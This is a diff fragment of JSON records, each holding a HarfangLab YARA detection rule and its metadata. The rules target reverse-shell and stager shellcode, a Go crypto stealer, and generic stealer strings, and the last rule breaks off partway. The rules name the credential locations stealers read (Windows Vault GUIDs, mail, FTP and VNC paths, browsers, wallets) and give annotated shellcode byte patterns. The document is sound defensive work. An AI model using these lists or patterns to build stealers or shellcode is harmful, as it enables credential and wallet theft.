+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.565186Z",
+  "creation_date": "2026-03-23T11:46:25.565188Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.565193Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://infosecwriteups.com/craft-your-own-windows-x86-64-shellcode-31b321d1933c"
+  ],
+  "name": "generic_shellcode_1a268d969f86.yar",
+  "content": "rule generic_shellcode_1a268d969f86 {\n    meta:\n        title = \"Generic Reverse Shell Shellcode (1a268d969f86)\"\n        id = \"1ca3d529-134d-4b16-a956-1a268d969f86\"\n        description = \"Detects generic patterns associated with reverse shell used by Windows shellcodes.\\nA shellcode is often used by malicious actors to execute code in memory, bypass certain security mechanisms, and evade detection.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://infosecwriteups.com/craft-your-own-windows-x86-64-shellcode-31b321d1933c\"\n        date = \"2025-10-15\"\n        modified = \"2025-10-22\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.privilege_escalation;attack.t1055;attack.command_and_control;attack.t1071\"\n        classification = \"Windows.Shellcode.Generic\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 39fd6dd5d40a57c32ac8d98e05bb6b3bd338409d0d32e62ea7a1964fade9cd9e\n        // e6b7d5c94411725f30023c9bd0a92325166e99f9155b88abbaa77d051db13277\n        // 80d7092ea9789995e78aa85fe1cd22a9b514933941bb89d0d644d715c36c8c64\n        // 756ad25157a9e0e4b7911c74fa7822752700634f9b44f0168d978417c9c109c5\n\n        $x1 = {\n            C7 [2-3] 33 32 2E 64          // mov     [rbp+0D50h+var_CFC], 642E3233h\n            66 C7 [2-3] 6C 6C             // mov     [rbp+0D50h+var_CF8], 6C6Ch\n            FF ??                         // call    rbx\n            48 8D [2-3]                   // lea     rcx, [rbp+0D50h+var_CF0]\n            C7 [2-3] (57|77) 73 32 5F     // mov     [rbp+0D50h+var_CF0], 5F327377h\n            C7 [2-3] 33 32 2E 64          // mov     [rbp+0D50h+var_CEC], 642E3233h\n            66 C7 [2-3] 6C 6C             // mov     [rbp+0D50h+var_CE8], 6C6Ch\n            40 88 [2-3]                   // mov     [rbp+0D50h+var_CE6], dil\n            FF ??                         // call    rbx\n        }\n\n        $x2 = {\n            B9 29 80 6B 00                // mov     ecx, 6B8029h\n            E8 ?? ?? 00 00                // call    sub_1F8\n            B9 EA 0F DF E0                // mov     ecx, 0E0DF0FEAh\n            48 [2-6]                      // mov     rbx, rax\n            E8 ?? ?? 00 00                // call    sub_1F8\n            B9 99 A5 74 61                // mov     ecx, 6174A599h\n            48 8B ??                      // mov     rsi, rax\n            E8 ?? ?? 00 00                // call    sub_1F8\n            B9 C2 EB 38 5F                // mov     ecx, 5F38EBC2h\n            4C 8B F0                      // mov     r14, rax\n            E8 ?? ?? 00 00                // call    sub_1F8\n        }\n\n        $ror1 = {\n            0F BE 01                      // movsx   eax, byte ptr [rcx]\n            C1 CA 0D                      // ror     edx, 0Dh\n            80 39 61                      // cmp     byte ptr [rcx], 61h\n            7C 03                         // jl      short loc_27B\n            83 C2 E0                      // add     edx, 0FFFFFFE0h\n\n                                    // loc_27B:\n            03 D0                         // add     edx, eax\n            48 FF C1                      // inc     rcx\n            49 83 EA 01                   // sub     r10, 1\n            75 E7                         // jnz     short loc_26D\n        }\n\n        $ror2 = {\n                                    // loc_2A6:\n            0F BE 0E                      // movsx   ecx, byte ptr [rsi]\n            48 FF C6                      // inc     rsi\n            C1 CB 0D                      // ror     ebx, 0Dh\n            03 D9                         // add     ebx, ecx\n            84 C9                         // test    cl, cl\n            75 F1                         // jnz     short loc_2A6\n            8D 04 13                      // lea     eax, [rbx+rdx]\n            3B C5                         // cmp     eax, ebp\n            74 0E                         // jz      short loc_2CA\n            41 FF C3                      // inc     r11d\n            45 3B 5A 18                   // cmp     r11d, [r10+18h]\n            72 D5                         // jb      short loc_29A\n            E9 5D FF FF FF                // jmp     loc_227\n        }\n\n    condition:\n        all of ($x*) or\n        (1 of ($x*) and 1 of ($ror*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_shellcode_1a268d969f86"
+  ],
+  "rule_creation_date": "2025-10-15",
+  "rule_modified_date": "2025-10-22",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Shellcode.Generic"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1055"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_shellcode_af75d8e6bea3_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586125Z",
+  "creation_date": "2026-03-23T11:46:25.586128Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586137Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://infosecwriteups.com/craft-your-own-windows-x86-64-shellcode-31b321d1933c"
+  ],
+  "name": "generic_shellcode_af75d8e6bea3.yar",
+  "content": "rule generic_shellcode_af75d8e6bea3 {\n    meta:\n        title = \"Generic Reverse Shell Shellcode (af75d8e6bea3)\"\n        id = \"e6a5ae0b-f1a5-47f3-9ab2-af75d8e6bea3\"\n        description = \"Detects generic patterns associated with reverse shell used by Windows shellcodes.\\nA shellcode is often used by malicious actors to execute code in memory, bypass certain security mechanisms, and evade detection.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://infosecwriteups.com/craft-your-own-windows-x86-64-shellcode-31b321d1933c\"\n        date = \"2025-10-15\"\n        modified = \"2025-10-22\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.privilege_escalation;attack.t1055;attack.command_and_control;attack.t1071\"\n        classification = \"Windows.Shellcode.Generic\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 6f3bfbdf5e7f1c4fe0cf8597effe3b124ad77c197cf896445e2f8ccc93615058\n        // c5ae28fa8020680a42ed03c845a8a32462f62ba11d84bcbb29a3607ea25f6437\n        // e9b1e0a897923bad694189e8e6ed7aeb87f86a372f957b80924ddfb347b3cdad\n        // 672aee4fbe1766ae46a034069e94f7bf6a0311debb452e3224f1e3424e43ebbb\n\n        $x1 = {\n            C7 45 ?? 75 73 65 72          // mov     [ebp+var_C], 72657375h (user32.dll)\n            C7 45 ?? 33 32 2E 64          // mov     [ebp+var_8], 642E3233h\n            66 C7 45 ?? 6C 6C             // mov     [ebp+var_4], 6C6Ch\n            C6 45 ?? 00                   // mov     [ebp+var_2], 0\n            FF ??                         // call    esi\n            B9 45 83 56 07                // mov     ecx, 7568345h\n            E8 ?? FE FF FF                // call    sub_10E\n            89 ?? 04                      // mov     [edi+4], eax\n            8D 45 E8                      // lea     eax, [ebp+var_18]\n            50                            // push    eax\n            C7 45 ?? (57|77) 73 32 5F     // mov     [ebp+var_18], 5F327357h (ws2_32.dll)\n            C7 45 ?? 33 32 2E 64          // mov     [ebp+var_14], 642E3233h\n            66 C7 ?? F0 6C 6C             // mov     [ebp+var_10], 6C6Ch\n            C6 45 ?? 00                   // mov     [ebp+var_E], 0\n            FF ??                         // call    dword ptr [esi]\n        }\n\n        $x2 = {\n            B9 29 80 6B 00                // mov     ecx, 6B8029h (WSAStartup)\n            E8 ?? FE FF FF                // call    sub_401369\n            B9 EA 0F DF E0                // mov     ecx, 0E0DF0FEAh (WSASocketA)\n            89 ?? ??                      // mov     [esi+8], eax\n            E8 ?? FE FF FF                // call    sub_401369\n            B9 99 A5 74 61                // mov     ecx, 6174A599h (connect)\n            89 ?? ??                      // mov     [esi+0Ch], eax\n            E8 ?? FE FF FF                // call    sub_401369\n        }\n\n    condition:\n        1 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_shellcode_af75d8e6bea3"
+  ],
+  "rule_creation_date": "2025-10-15",
+  "rule_modified_date": "2025-10-22",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Shellcode.Generic"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1055"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_stager_shellcode_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563839Z",
+  "creation_date": "2026-03-23T11:46:25.563841Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563846Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lowery.tech/building-a-custom-shellcode-stager-with-process-injection-to-bypass-windows-defender/\nhttps://medium.com/@oblivionccyber/catching-local-stager-payload-dc7f095153d8"
+  ],
+  "name": "generic_stager_shellcode.yar",
+  "content": "rule generic_stager_shellcode {\n    meta:\n        title = \"Generic Stager Shellcode\"\n        id = \"023a434d-8d7e-469b-81cc-84cc6d3f0e54\"\n        description = \"Detects a generic stager shellcode.\\nA stager shellcode is used to bootstrap another malicious payload inside an injected process. This type of shellcode is commonly used in attack chains to establish persistence, escalate privileges, or execute commands on a compromised system. The rule detects specific patterns and syscall sequences commonly associated with shellcode injection activities, which are often indicative of malicious code execution.\\nIt is recommended to dump the process for further analysis and to look for signs of process injection.\"\n        references = \"https://lowery.tech/building-a-custom-shellcode-stager-with-process-injection-to-bypass-windows-defender/\\nhttps://medium.com/@oblivionccyber/catching-local-stager-payload-dc7f095153d8\"\n        date = \"2024-08-30\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.privilege_escalation;attack.t1055.002;attack.execution;attack.t1106;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Generic.StagerShellcode\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 53b6159d9a270a2e546a4ac9d493d301eca9b50b34061a1ef211f0dc78564a42\n        // b50447556a04b4afe3ffcc67210e21b259edb85eedf8e98e221839d1ba27c058\n        // 6bd9ab563881d349ddce7907dce6720459451e5479460e57b15804759c3dedfb\n\n        $x1 = {\n            E9 ?? ?? 00 00                                // jmp     sub_4A93\n            CC CC CC CC CC CC\n            CC CC CC CC CC\n        }\n\n        $x2 = {\n            56                                            // push    esi\n            48                                            // dec     eax\n            8B F4                                         // mov     esi, esp\n            48                                            // dec     eax\n            83 E4 F0                                      // and     esp, 0FFFFFFF0h\n            48                                            // dec     eax\n            83 EC 20                                      // sub     esp, 20h\n            E8 ?? ?? FF FF                                // call    sub_140\n            48                                            // dec     eax\n            8B E6                                         // mov     esp, esi\n            5E                                            // pop     esi\n            C3                                            // retn\n        }\n\n        $x3 = {\n            41                                            // inc     ecx\n            8B 12                                         // mov     edx, [edx]\n            33 C0                                         // xor     eax, eax\n            4D                                            // dec     ebp\n            8D 52 04                                      // lea     edx, [edx+4]\n            49                                            // dec     ecx\n            03 D3                                         // add     edx, ebx\n            0F 1F 40 00                                   // nop     dword ptr [eax+00h]\n\n            C1 C8 0D                                      // ror     eax, 0Dh\n            0F BE 0A                                      // movsx   ecx, byte ptr [edx]\n            48                                            // dec     eax\n            8D 52 01                                      // lea     edx, [edx+1]\n            03 C1                                         // add     eax, ecx\n            80 7A FF 00                                   // cmp     byte ptr [edx-1], 0\n            75 EE                                         // jnz     short loc_D0\n        }\n\n        $syscall1 = {\n            48                                            // dec     eax\n            33 C0                                         // xor     eax, eax\n            4C                                            // dec     esp\n            8B D1                                         // mov     edx, ecx\n            B8 ?? 00 00 00                                // mov     eax, 29h\n            0F 05                                         // syscall\n            C3                                            // retn\n        }\n\n        $syscall2 = {\n            4C                                            // dec     esp\n            8B D1                                         // mov     edx, ecx\n            B8 ?? 00 00 00                                // mov     eax, 27h\n            0F 05                                         // syscall\n            C3                                            // retn\n        }\n\n    condition:\n        all of ($x*) and for any of ($syscall*) : ( # > 1 )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_stager_shellcode"
+  ],
+  "rule_creation_date": "2024-08-30",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.StagerShellcode"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1071.001",
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_stealer_5e1c4bc2f8bf_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582424Z",
+  "creation_date": "2026-03-23T11:46:25.582427Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582436Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.qualys.com/vulnerabilities-threat-research/2024/10/20/unmasking-lumma-stealer-analyzing-deceptive-tactics-with-fake-captcha\nhttps://attack.mitre.org/techniques/T1213/"
+  ],
+  "name": "generic_stealer_5e1c4bc2f8bf.yar",
+  "content": "rule generic_stealer_5e1c4bc2f8bf {\n    meta:\n        title = \"Generic Stealer (5e1c4bc2f8bf)\"\n        id = \"10344d71-0e98-4ecb-a026-5e1c4bc2f8bf\"\n        description = \"Detects a generic stealer associated with fake captcha campaigns.\\nThis stealer is often used by attackers to trick users into executing malicious commands through fake verification pages. The malware is frequently delivered during these campaigns and is known to include Lumma Stealer, an information-stealing tool available through a Malware-as-a-Service (MaaS) model since August 2022.\\nIt is recommended to check for additional signs of malicious activity such as unauthorized processes or network connections.\"\n        references = \"https://blog.qualys.com/vulnerabilities-threat-research/2024/10/20/unmasking-lumma-stealer-analyzing-deceptive-tactics-with-fake-captcha\\nhttps://attack.mitre.org/techniques/T1213/\"\n        date = \"2024-11-18\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.collection;attack.t1213\"\n        classification = \"Windows.Stealer.Generic\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 948b54455b514de73d7f3f0d12d3270cb9d6cca3f525ed88b3c63b4c32631bdb\n        // ad249b7ea19c66b5d27285bd107526106f57c5ff14a836c4a963dcd5e8d3203f\n        // c34e317d32e09e82f15ac4ca0da7b19bfcacef125d60dc24e706f883a8124f78\n\n        $go = \" Go build ID: \\\"\" ascii\n\n        $a1 = \"main.decryptAES\" ascii fullword\n        $a2 = \"main.GetHWID\" ascii fullword\n        $a3 = \"main.BLYYYAADGET\" ascii fullword\n        $a4 = \"main.CheckConnection\" ascii fullword\n        $a5 = \"main.findSeedPhrases\" ascii fullword\n        $a6 = \"main.Tryhard\" ascii fullword\n        $a7 = \"main.TESTGET\" ascii fullword\n        $a8 = \"github.com/atotto/clipboard.init\" ascii fullword\n\n        $b1 = \"^bc1[0-9a-zA-HJ-NP-Z]{25,39}\" ascii fullword\n        $b2 = \"L[a-km-zA-HJ-NP-Z1-9]{33}\" ascii fullword\n        $b3 = \"^[1-9A-HJ-NP-Za-km-z]{44}\" ascii fullword\n        $b4 = \"^ronin:[a-fA-F0-9]{40}\" ascii fullword\n        $b5 = \"^(bitcoincash:)?(q|p)[a-z0-9]{41}|^(BITCOINCASH:)?(Q|P)[A-Z0-9]{41}\" ascii fullword\n        $b6 = \"steamcommunity.com:443\" ascii fullword\n\n    condition:\n        $go and\n        (\n            all of ($a*) or\n            all of ($b*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_stealer_5e1c4bc2f8bf"
+  ],
+  "rule_creation_date": "2024-11-18",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.Generic"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1213"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_stealers_af1a47ade43e_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577747Z",
+  "creation_date": "2026-03-23T11:46:25.577749Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577755Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.bleepingcomputer.com/news/security/raccoon-stealer-is-back-with-a-new-version-to-steal-your-passwords/\nhttps://resources.infosecinstitute.com/topics/malware-analysis/redline-stealer-malware-full-analysis/\nhttps://www.sentinelone.com/labs/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/\nhttps://attack.mitre.org/software/S0331/"
+  ],
+  "name": "generic_stealers_af1a47ade43e.yar",
+  "content": "rule generic_stealer_strings {\n    meta:\n        title = \"Generic Stealer Strings\"\n        id = \"ddf3fb3f-65f8-4b9c-8cda-af1a47ade43e\"\n        description = \"Detects generic stealer strings used by various malware such as WinPEAS, Agent Tesla, and other credential access tools.\\nThese strings are associated with malicious activities including credential theft, persistence mechanisms, and data exfiltration. The malware is often delivered through phishing emails and exhibits capabilities such as keylogging, screen capture, form-grabbing, credential stealing, and the injection into other processes to establish persistence.\\nIt is recommended to investigate network traffic for potential command and control (C2) communication.\"\n        references = \"https://www.bleepingcomputer.com/news/security/raccoon-stealer-is-back-with-a-new-version-to-steal-your-passwords/\\nhttps://resources.infosecinstitute.com/topics/malware-analysis/redline-stealer-malware-full-analysis/\\nhttps://www.sentinelone.com/labs/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/\\nhttps://attack.mitre.org/software/S0331/\"\n        date = \"2023-11-23\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0331;attack.credential_access;attack.t1555;attack.exfiltration;attack.t1048.003;attack.defense_evasion;attack.t1564.001\"\n        classification = \"Windows.Stealer.Generic\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"moderate\"\n\n    strings:\n        // Detection for this sample:\n        // 08dee64a7678819af1f98d97c614dc08afd87d2964497cb6f9a5c917a075f534\n\n        $windows_vault_guid1 = \"2F1A6504-0641-44CF-8BB5-3612D865F2E5\" wide ascii // Windows Secure Note\n        $windows_vault_guid2 = \"3CCD5499-87A8-4B10-A215-608888DD3B55\" wide ascii // Windows Web Password Credential\n        $windows_vault_guid3 = \"154E23D0-C644-4E6F-8CE6-5069272F999F\" wide ascii // Windows Credential Picker Protector\n        $windows_vault_guid4 = \"4BF4C442-9B8A-41A0-B380-DD4A704DDB28\" wide ascii // Web Credentials\n        $windows_vault_guid5 = \"77BC582B-F0A6-4E15-4E80-61736B6F3B29\" wide ascii // Windows Credentials\n        $windows_vault_guid6 = \"E69D7838-91B5-4FC9-89D5-230D4D4CC2BC\" wide ascii // Windows Domain Certificate Credential\n        $windows_vault_guid7 = \"3E0E35BE-1B77-43E7-B873-AED901B6275B\" wide ascii // Windows Domain Password Credential\n        $windows_vault_guid8 = \"3C886FF3-2669-4AA2-A8FB-3F6759A77548\" wide ascii // Windows Extended Credential\n\n        $mail_strings0 = \"PocoMail\\\\accounts.ini\" wide ascii\n        $mail_strings1 = \"\\\\Mailbird\\\\Store\\\\Store.db\" wide ascii\n        $mail_strings2 = \"\\\\Opera Mail\\\\Opera Mail\\\\wand.dat\" wide ascii\n        $mail_strings3 = \"Software\\\\IncrediMail\\\\Identities\\\\\" wide ascii\n        $mail_strings4 = \"HKEY_CURRENT_USER\\\\Software\\\\Aerofox\\\\Foxmail\" wide ascii\n        $mail_strings5 = \"\\\\Mailbox.ini\" wide ascii\n        $mail_strings6 = \"Software\\\\Qualcomm\\\\Eudora\\\\CommandLine\\\\\" wide ascii\n        $mail_strings7 = \"ClawsMail\" wide ascii\n\n        $ftp_strings0 = \"SOFTWARE\\\\FTPWare\\\\COREFTP\\\\Sites\" wide ascii\n        $ftp_strings1 = \"FTP Navigator\" wide ascii\n        $ftp_strings2 = \"SmartFTP\\\\Client 2.0\\\\Favorites\\\\Quick Connect\" wide ascii\n        $ftp_strings3 = \"Ipswitch\\\\WS_FTP\\\\Sites\\\\ws_ftp.ini\" wide ascii\n        $ftp_strings4 = \"FtpCommander\" wide ascii\n        $ftp_strings5 = \"FTP Commander\" wide ascii\n        $ftp_strings6 = \"Ftplist.txt\" wide ascii\n        $ftp_strings7 = \"\\\\FTPGetter\\\\servers.xml\" wide ascii\n\n        $vnc0 = \"RealVNC 4.x\" wide ascii\n        $vnc1 = \"SOFTWARE\\\\RealVNC\\\\WinVNC4\" wide ascii\n        $vnc2 = \"RealVNC 3.x\" wide ascii\n        $vnc3 = \"SOFTWARE\\\\RealVNC\\\\vncserver\" wide ascii\n        $vnc4 = \"SOFTWARE\\\\Wow6432Node\\\\RealVNC\\\\WinVNC4\" wide ascii\n        $vnc5 = \"Software\\\\TigerVNC\\\\Server\" wide ascii\n        $vnc6 = \"Software\\\\TightVNC\\\\Server\" wide ascii\n        $vnc7 = \"TightVNC ControlPassword\" wide ascii\n        $vnc8 = \"Software\\\\ORL\\\\WinVNC3\" wide ascii\n        $vnc9 = \"\\\\UltraVNC\\\\ultravnc.ini\" wide ascii\n\n        $user_data = \"User Data\" wide ascii\n\n        $browser2  = \"7Star\" wide ascii\n        $browser3  = \"Chedot\" wide ascii\n        $browser4  = \"Orbitum\" wide ascii\n        $browser5  = \"CentBrowser\" wide ascii\n        $browser6  = \"Torch Browser\" wide ascii\n        $browser7  = \"Yandex Browser\" wide ascii\n        $browser8  = \"SeaMonkey\" wide ascii\n        $browser9  = \"PaleMoon\" wide ascii\n        $browser10 = \"\\\\Mozilla\\\\icecat\\\\\" wide ascii\n        $browser12 = \"Citrio\" wide ascii\n        $browser13 = \"Edge Chromium\" wide ascii\n        $browser14 = \"Opera Browser\" wide ascii\n        $browser15 = \"Liebao Browser\" wide ascii\n        $browser16 = \"Coowon\" wide ascii\n        $browser17 = \"Iridium Browser\" wide ascii\n        $browser18 = \"Sputnik\" wide ascii\n        $browser19 = \"Thunderbird\" wide ascii\n        $browser20 = \"Amigo\" wide ascii\n        $browser21 = \"Cool Novo\" wide ascii\n        $browser22 = \"Coccoc\" wide ascii\n        $browser23 = \"Comodo Dragon\" wide ascii\n        $browser24 = \"CyberFox\" wide ascii\n        $browser25 = \"360 Browser\" wide ascii\n        $browser26 = \"WaterFox\" wide ascii\n        $browser27 = \"Elements Browser\" wide ascii\n        $browser28 = \"K-Meleon\" wide ascii\n        $browser29 = \"QIP Surf\" wide ascii\n        $browser31 = \"Brave\" wide ascii\n        $browser32 = \"Chromium\" wide ascii\n        $browser33 = \"\\\\Mozilla\\\\Firefox\\\\\" wide ascii\n        $browser34 = \"\\\\Comodo\\\\IceDragon\\\\\" wide ascii\n        $browser35 = \"Vivaldi\" wide ascii\n        $browser36 = \"Kometa\" wide ascii\n        $browser37 = \"Chrome\" wide ascii\n        $browser38 = \"Epic Privacy\" wide ascii\n\n        $crypto0  = \"MyMonero\" wide ascii\n        $crypto1  = \"Exodus\" wide ascii\n        $crypto2  = \"Binance\" wide ascii\n        $crypto3  = \"Raven\" wide ascii\n        $crypto4  = \"Armory\" wide ascii\n        $crypto5  = \"Dogecoin\" wide ascii\n        $crypto6  = \"MultiBit\" wide ascii\n        $crypto7  = \"Bitcoin\" wide ascii\n        $crypto8  = \"DashCore\" wide ascii\n        $crypto9  = \"Electrum\" wide ascii\n        $crypto10 = \"Litecoin\" wide ascii\n        $crypto11 = \"BitcoinGold\" wide ascii\n        $crypto12 = \"WalletWasabi\" wide ascii\n        $crypto13 = \"Atomic\" wide ascii\n        $crypto14 = \"Guarda\" wide ascii\n        $crypto15 = \"Electrum-LTC\" wide ascii\n        $crypto16 = \"MyCrypto\" wide ascii\n        $crypto17 = \"Bisq\" wide ascii\n        $crypto18 = \"DeFi Blockchain\" wide ascii\n        $crypto19 = \"Coinomi\" wide ascii\n        $crypto20 = \"TokenPocket\" wide ascii\n\n        $wallet1 = \"Coin98 Wallet\" wide ascii\n        $wallet2 = \"Cyano Wallet\" wide ascii\n        $wallet3 = \"Byone\" wide ascii\n        $wallet4 = \"Nash Extension\" wide ascii\n        $wallet5 = \"Leaf Wallet\" wide ascii\n        $wallet6 = \"Authy 2FA\" wide ascii\n        $wallet7 = \"EVER Wallet\" wide ascii\n        $wallet8 = \"KardiaChain Wallet\" wide ascii\n        $wallet9 = \"Rabby Wallet\" wide ascii\n        $wallet10 = \"Phantom\" wide ascii\n        $wallet11 = \"Atomic Crypto Wallet\" wide ascii\n        $wallet12 = \"Pali Wallet\" wide ascii\n        $wallet13 = \"XDEFI Wallet\" wide ascii\n        $wallet14 = \"SteemKeychain\" wide ascii\n        $wallet15 = \"Braavos Smart Wallet\" wide ascii\n        $wallet16 = \"Enkrypt\" wide ascii\n     